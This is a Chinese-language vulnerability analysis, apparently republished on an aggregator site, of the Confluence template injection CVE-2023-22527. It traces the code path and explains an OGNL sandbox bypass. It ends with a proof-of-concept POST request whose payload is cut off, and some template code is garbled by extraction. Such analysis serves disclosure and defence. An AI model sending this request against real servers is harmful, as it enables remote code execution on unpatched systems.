当前位置: 首页 > news >正文

模板注入代码执行漏洞

(CVE-2023-22527)Atlassian Confluence 模板注入代码执行漏洞代码级分析,内含poc
作者:Le1a@threatbook
校验:jweny@threatbook

漏洞描述
Atlassian Confluence是一款由Atlassian开发的企业团队协作和知识管理软件,提供了一个集中化的平台,用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。

攻击者可在无需登录的情况下,利用该漏洞构造恶意请求,导致远程代码执行。

影响版本
8.5.0 ≤ version ≤ 8.5.3
8.0.x,8.1.x,8.2.x,8.3.x,8.4.x
漏洞成因
在Confluence中,.vm文件是使用Velocity模板语言创建的模板文件。Velocity是一个基于Java的模板引擎,它允许你使用简单的标记语言来引用Java对象和方法,从而动态生成HTML、XML或任何文本格式的内容。

处理.vm文件的主要类是ConfluenceVelocityServlet。这个Servlet负责接收和处理来自浏览器的请求,加载和解析.vm模板,执行其中的Velocity代码,然后将生成的HTML发送回浏览器。

这次的漏洞点位于:/template/aui/text-inline.vm文件,可以直接通过/template/aui/text-inline.vm访问

#set( $labelValue = s t a c k . f i n d V a l u e ( " g e t T e x t ( ′ stack.findValue("getText(' stack.findValue("getText(parameters.label’)") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
#set( $parameters.id = $parameters.name)
#end

#parse(“/template/aui/text-include.vm”)
s t a c k . f i n d V a l u e ( " g e t T e x t ( ′ stack.findValue("getText(' stack.findValue("getText(parameters.label’)")意味着从请求中获取的label参数的值传入了$stack.findValue,由此可以判断这里存在模版注入

代码分析
.vm文件由ConfluenceVelocityServlet处理
在这里插入图片描述
继续跟进

protected void doRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
// 创建一个上下文对象,可能用于存储请求和响应的信息
Context context = this.createContext(request, response);
// 设置HTTP响应的内容类型
this.setContentType(request, response);
// 处理HTTP请求,返回一个模板对象
Template template = this.handleRequest(request, response, context);
// 如果没有获取到模板,直接结束方法
if (template == null) {
return;
}
// 如果获取到了模板,将模板和上下文合并,并将结果写入响应
this.mergeTemplate(template, context, response);
}
// 其他代码…
}
这里跟进handleRequest(),可以发现从URI中获取vm文件路径,传入getTemplate()来返回模版对象
在这里插入图片描述
然后传入mergeTemplate()函数处理
在这里插入图片描述
protected void mergeTemplate(Template template, Context context, HttpServletResponse response) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException, UnsupportedEncodingException, Exception {
// 获取当前的PageContext对象
PageContext oldPageContext = ServletActionContext.getPageContext();
// 获取默认的JSP工厂
JspFactory jspFactory = JspFactory.getDefaultFactory();
// 从上下文中获取HttpServletRequest对象
HttpServletRequest request = (HttpServletRequest)context.get(“request”);
// 根据当前的Servlet、请求和响应创建一个新的PageContext对象
PageContext pageContext = jspFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
// 获取当前的ActionContext对象
ActionContext actionContext = ActionContext.getContext();
// 将新创建的PageContext对象放入ActionContext中
actionContext.put(“com.opensymphony.xwork2.dispatcher.PageContext”, pageContext);
Writer writer = null;
try {
// 获取PageContext的输出流
writer = pageContext.getOut();
// 将模板和上下文合并,结果写入到输出流中
template.merge(context, writer);
}
// 其他代码…
}
这里创建新的PageContext,获取其输出流,准备进行模板合并和输出操作。

继续跟进template.merge()

在这里插入图片描述
跟进到merge的重载函数

public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = “Template.merge() failure. The document is null, most likely due to parsing error.”;
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var13) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var13;
} catch (ParseErrorException var14) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + “.”);
throw var14;
} catch (Exception var15) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + “.”, var15);
}
}
}

        try {ica.pushCurrentTemplateName(this.name);ica.setCurrentResource(this);((SimpleNode)this.data).render(ica, writer);} finally {ica.popCurrentTemplateName();ica.setCurrentResource((Resource)null);}}
}

由于传入的macroLibraries为空,所以直接执行try逻辑

调用 ica.pushCurrentTemplateName(this.name); 将当前模板的名称压入到 ica 的模板名堆栈中。这是为了在嵌套模板的情况下能够追踪到当前正在处理的模板名称。
调用 ica.setCurrentResource(this); 将当前模板对象设置为 ica 的当前资源。这是为了让 ica 知道当前正在处理的模板资源。
最后,通过调用 ((SimpleNode)this.data).render(ica, writer); 进行模板渲染
省略中间的部分渲染过程,跟进到ASTReference#execute()
在这里插入图片描述
这里从上下文中获取OgnlValueStack,继续跟进
在这里插入图片描述
在这里插入图片描述
这里从请求中获取到参数,然后通过Object obj = method.invoke(o, params);执行,继续跟进
在这里插入图片描述
经过几层invoke调用后,来到了最终vm文件模版的位置——OgnlValueStack.findValue()

在这里插入图片描述
随后,传给label参数的OGNL表达式语句被执行
在这里插入图片描述
如何构造RCE
由这篇文章可得知:https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context

对于Velocity模版引擎,可以使用如下方法:

.KEY_velocity.struts2.context -> (StrutsVelocityContext)
ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils)
org.apache.struts2.views.jsp.ui.OgnlTool 类在没有 OgnlContext 的情况下调用了 Ognl.getValue()。需要注意的是,该类属于 OGNL 库,而不是 Struts 的一部分。因此,这个"findValue"调用在 Struts 的沙箱限制之外运行。

在这里插入图片描述
复现过程
网站首页如下图:
在这里插入图片描述
使用如下POC进行漏洞复现
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parame
在这里插入图片描述


http://www.mrgr.cn/news/64224.html

相关文章:

  • VS Code AI开发之Copilot配置和使用详解
  • 【ES6复习笔记】Spread 扩展运算符(8)
  • Python:方法间的多个返回值的传输和引用
  • CAN201 Introduction to Networking(计算机网络)Pt.2 传输层
  • OpenCV相机标定与3D重建(28)估计两个三维点集之间的最优平移变换函数estimateTranslation3D()的使用
  • 只谈C++11新特性 - 显式虚函数重写
  • 前端三件套(HTML + CSS + JS)
  • 为什么大家都在学数字孪生呢?
  • Ubuntu删除docker
  • DataFlow v202410 版本更新 一站式数据处理平台
  • WPF中的CommandParameter如何使用
  • 今日 AI 简报|零样本视频生成、移动端轻量语言模型、自动驾驶多模态模型等前沿 AI 技术集中亮相
  • JavaScript本地存储的方式有哪些
  • Linux安装部署MinIO
  • 常见 CSS 选择器用法
  • 七、Go语言快速入门之函数func
  • RHCE的练习(10)
  • 【论文阅读】Associative Alignment for Few-shot Image Classification
  • 告别传统办公软件,这款编辑器让你事半功倍!
  • GEE 训练教程——ee.Image()的使用
  • 分拣线番茄分级缺陷识别图像分割系统:创新探讨教学
  • RHCE【SELinux】
  • Fake Location解除屏蔽分析
  • 《高频电子线路》—— 振荡器稳定性问题
  • 【多模态读论文系列】LLaVA论文笔记
  • C++ ----------- 栈和队列